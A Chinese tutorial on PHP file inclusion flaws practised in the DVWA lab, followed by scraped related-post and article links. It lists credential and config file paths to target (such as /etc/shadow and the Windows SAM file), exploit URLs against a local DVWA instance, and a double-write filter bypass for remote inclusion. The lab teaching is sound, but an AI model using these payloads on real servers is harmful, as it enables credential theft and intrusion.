DVWA——文件包含
File Inclusion学习
- 文件包含简介
- 实战:DVWA——文件包含
文件包含简介
一、文件包含简介:
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
二、文件包含函数:
PHP中文件包含函数有以下四种:require()、require_once()、include()、include_once()
include和require区别主要是:include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
三、漏洞产生原因:
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
服务器包含文件时,不管文件后缀是否是php,都会尝试当作php文件执行,如果文件内容确为php,则会正常执行并返回结果;如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行
四、常见的敏感信息路径:
Windows系统:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
Linux/Unix系统:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
以上参考:Web安全实战系列:文件包含漏洞
以下参考DVWA之文件包含漏洞
实战:DVWA——文件包含
一、Low级别
代码:
<?php// The page we wish to display
$file = $_GET[ 'page' ];?>
可以看到,服务器端对page参数没有做任何的过滤跟检查。
服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
而现实中,恶意的攻击者是不会乖乖点击这些链接的,因此page参数是不可控的。
因此可以尝试利用这些漏洞
本地文件包含
以修改page参数改变路径来达到目的
page:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/shadow
报错,显示没有这个文件,暴露了服务器文件的绝对路径
D:\xxamp\htdocs\DVWA
构造url(绝对路径):
http://127.0.0.1/DVWA/vulnerabilities/fi/page=D:/xxamp/htdocs/DVWA/php.ini
执行,成功读取了服务器的php.ini文件
二、Medium级别
源码:
<?php// The page we wish to display
$file = $_GET[ 'page' ];// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );?>
可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。
尝试利用:
使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
例如page=hthttp://tp://192.168.xx.xxx/phpinfo.php时,str_replace函数会将http://删除,于是page=http://192.168.xx.xxx/phpinfo.php,成功执行远程命令。
①.本地文件包含( …/绕过)
绝对路径不受任何影响,读取成功
http://127.0.0.1/DVWA/vulnerabilities/fi/page=D:/xxamp/htdocs/DVWA/php.ini
②远程文件包含
DVWA——文件包含相关推荐
- DVWA文件包含漏洞
文章目录 low medium high impossible 文件上传+包含漏洞getshell 云演-phar实验 low 1.本地文件包含: 看看后端代码 <?php// The page ...
- Web漏洞之文件包含漏洞
公众号:黑客菌 分享更多技术文章,欢迎关注一起探讨学习 一.文件包含漏洞概述 1.漏洞介绍 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件 ...
- 文件包含漏洞——DVWA练习
前言:在学习文件上传时,制作的图片马需要我们手动去解析,而解析的方法就算用到了文件包含漏洞,所以这次就来学习一下文件包含漏洞. 文件包含漏洞简介 (一)文件包含可以分为本地文件包含和远程文件包含两种. ...
- web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示
注(以下环境皆是自己在本机搭建,请勿在公网真实操作) 1.注入 1.1 SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶 ...
- DVWA远程文件包含防御
在这里推荐下自己的博客,支持友链互换,Back's Blog 本次防御从代码层面出发, 尽量从多个角度进行防御.不足之处请指出.谢谢. 黑名单检测防御 首先看下dvwa的远程文件包含页面源码(low级 ...
- DVWA通关--文件包含(File Inclusion)
目录 LOW 通关步骤 一.本地文件包含 二.远程文件包含 代码分析 MEDIUM 通关步骤 一.本地文件包含 二.远程文件包含 代码分析 HIGH 通关步骤 一.本地文件包含 二.远程文件包含 代码 ...
- 结合pikachu和DVWA靶场学习文件包含漏洞
结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...
- DVWA(4)文件包含(File Inclusion) LOW-HIGHT 操作记录
今天带来第四期文件包含漏洞操作记录.初次接触DVWA,写下自己的操作记录,希望可以帮助每个刚接触DVWA的新手,同时希望可以提升自己的技术.注:如有操作不当的地方希望可以得到大神指导.交流.也感谢之前 ...
- DVWA之PHP文件包含漏洞(File Inclusion)
PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码.更多 ...
最新文章
- 深入理解 Linux 的 epoll 机制
- 进击webpack4 (优化篇)
- 俯卧撑打造男人结实臂膀
- 查询已有链表的hashmap_源码分析系列1:HashMap源码分析(基于JDK1.8)
- 本地线程分配缓冲_线程本地分配缓冲区
- 如何对待基金评审负面意见?
- Update Remote Files 1.0
- 慕课软件质量保证与测试(第十章.课后作业)
- 工具介绍(3)- TS 视频文件分析工具神器
- 计算机表格名次教程,Word表格怎么算名次
- 微信小程序之videoshow-fullscreen-btn失效问题
- 解救小哈——DFS算法举例
- 《棒球殿堂》:棒球联盟LEAGUE·东北乐天金鹫
- 考研数学基础 之线性代数通法——Chapter6:合同对角化与二次型
- 上位机、下位机的初略解释
- 浅入浅出redis----II
- 有什么软件能每天提醒自己坚持吗?每日定时提醒做某事的便签
- 算法设计 - 二分法和三分法,洛谷P3382
- oracle10安装注意事项,科学网—Asianux server 3.0下安装oracle 10.2注意事项 - 谢安涛的博文...
- python3x默认使用的编码是什么_【判断题】Python3.x 的源代码中,默认使用的是ASCII编码。...
热门文章
- [附源码]Python计算机毕业设计Django姜太公渔具销售系统
- 企业动态IP,内网服务器配置
- 无软驱情况下服务器RAID的安装方法
- Linux--查找大文件的几种方法
- Python遍历文件夹查找大文件
- 解决 YOLOV5中SyntaxError: Non-ASCII character ‘\xf0‘ in file detect.py
- win2016开启smb服务器_使用Hyper-v Server 2016构建免费的SMB3服务器
- 利用卫星影像进行海岸线提取
- python pandas 给dataframe添加列名
- 大数据计算模式有哪些